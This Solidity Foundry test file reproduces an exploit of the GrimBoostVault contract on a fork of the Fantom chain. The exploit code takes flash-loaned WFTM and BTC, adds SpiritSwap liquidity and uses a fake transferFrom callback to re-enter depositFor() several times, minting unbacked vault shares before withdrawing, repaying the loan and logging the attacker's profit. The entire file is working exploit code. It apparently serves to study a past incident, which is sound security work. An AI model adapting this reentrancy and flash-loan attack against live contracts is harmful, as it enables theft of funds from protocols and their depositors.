Grim_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    address btcAddress = 0x321162Cd933E2Be498Cd2267a90534A804051b11;
    address wftmAddress = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83;
    address routerAddress = 0x16327E3FbDaCA3bcF7E38F5Af2599D2DDc33aE52;
    address btc_wftm_address = 0x279b2c897737a50405ED2091694F225D83F2D3bA; //Spirit LPs
    address beethovenVaultAddress = 0x20dd72Ed959b6147912C2e529F0a0C651c33c9ce; //Flash Loan Pool
    address grimBoostVaultAddress = 0x660184CE8AF80e0B1e5A1172A16168b15f4136bF;
    IERC20 btc = IERC20(btcAddress);
    IWFTM wftm = IWFTM(payable(wftmAddress));
    IUniswapV2Router router = IUniswapV2Router(payable(routerAddress)); //SpiritSwap Router
    IPancakePair btc_wftm = IPancakePair(btc_wftm_address);
    IBeethovenVault beethovenVault = IBeethovenVault(beethovenVaultAddress);
    IGrimBoostVault grimBoostVault = IGrimBoostVault(grimBoostVaultAddress);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    uint256 btcLoanAmount = 30 * 1e8;
    uint256 wftmLoanAmount = 937_830 * 1e18;
    uint256 reentrancySteps = 7;
    uint256 lpBalance;

    function setUp() public {
        cheats.createSelectFork("fantom", 25_345_002); //fork fantom at block 25345002
    }

    function testExploit() public {
        //Flash Loan WFTM and "BTC" frm BeethovenX
        IERC20[] memory loanTokens = new IERC20[](2);
        loanTokens[0] = wftm;
        loanTokens[1] = btc;
        uint256[] memory loanAmounts = new uint256[](2);
        loanAmounts[0] = wftmLoanAmount;
        loanAmounts[1] = btcLoanAmount;
        beethovenVault.flashLoan(IFlashLoanRecipient(address(this)), loanTokens, loanAmounts, "0x");
    }

    // Called after receiving Flash Loan Funds
    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) public {
        // Add Liquidity to SpiritSwap
        wftm.approve(routerAddress, wftmLoanAmount);
        btc.approve(routerAddress, btcLoanAmount);
        router.addLiquidity(
            btcAddress, wftmAddress, btcLoanAmount, wftmLoanAmount, 0, 0, address(this), block.timestamp
        );

        // Call depositFor() in GrimBoostVault, reentrancy to this.transferFrom
        btc_wftm.approve(grimBoostVaultAddress, 2 ** 256 - 1);
        lpBalance = btc_wftm.balanceOf(address(this));
        grimBoostVault.depositFor(address(this), lpBalance, address(this));

        // Withdraw LPs from GrimBoostVault
        grimBoostVault.withdrawAll();

        // Remove Liquidity from SpiritSwap
        lpBalance = btc_wftm.balanceOf(address(this));
        btc_wftm.transfer(btc_wftm_address, lpBalance);
        btc_wftm.burn(address(this));

        //Repay Flash Loan
        for (uint256 i = 0; i < tokens.length; ++i) {
            IERC20 _token = tokens[i];
            uint256 _amount = amounts[i];
            uint256 _feeAmount = feeAmounts[i];
            _token.transfer(beethovenVaultAddress, (_amount + _feeAmount));
        }

        emit log_named_uint("WFTM attacker profit", wftm.balanceOf(address(this)) / 1e18);

        emit log_named_uint("BTC attacker profit", btc.balanceOf(address(this)) / 1e8);
    }

    // Called by the reentrancy vulnerability in grimBoostVault.depositFor()
    function transferFrom(address _from, address _to, uint256 _value) public {
        reentrancySteps -= 1;
        if (reentrancySteps > 0) {
            //Call depositFor() in GrimBoostVault with token==ATTACKER, user==ATTACKER
            grimBoostVault.depositFor(address(this), lpBalance, address(this));
        } else {
            //In the last step on reentrancy call depositFor() with token==SPIRIT-LP, user==ATTACKER
            grimBoostVault.depositFor(btc_wftm_address, lpBalance, address(this));
        }
    }
}